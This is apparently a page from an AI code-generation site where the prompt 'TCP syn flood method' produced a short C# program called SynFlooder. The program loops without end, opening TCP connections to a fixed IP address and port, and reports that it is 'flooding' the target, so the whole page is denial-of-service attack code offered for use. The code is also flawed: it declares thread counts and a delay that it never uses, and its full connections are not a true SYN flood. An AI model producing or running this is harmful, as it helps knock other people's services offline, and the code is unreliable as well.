SilkyFalcon

Generation

translateMon, 26 Dec 2022

TCP syn flood method

using System; using System.Diagnostics; using System.Net; using System.Net.Sockets; using System.Threading; namespace SynFlooder { public class Flood { public static string ip = "192.168.1.1"; public static int port = 80; public static int delay = 1; public static int threads = 25; public static int threads1 = 25; public static void Main(string[] args) { var thread = new Thread(() => { while (true) { var syn = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); syn.Connect(new IPEndPoint(IPAddress.Parse(ip), port)); } }); thread.Start(); Console.WriteLine($"Flooding {ip}:{port} with {threads} threads"); Console.ReadLine(); } } }

Questions about programming?Chat with your personal AI assistant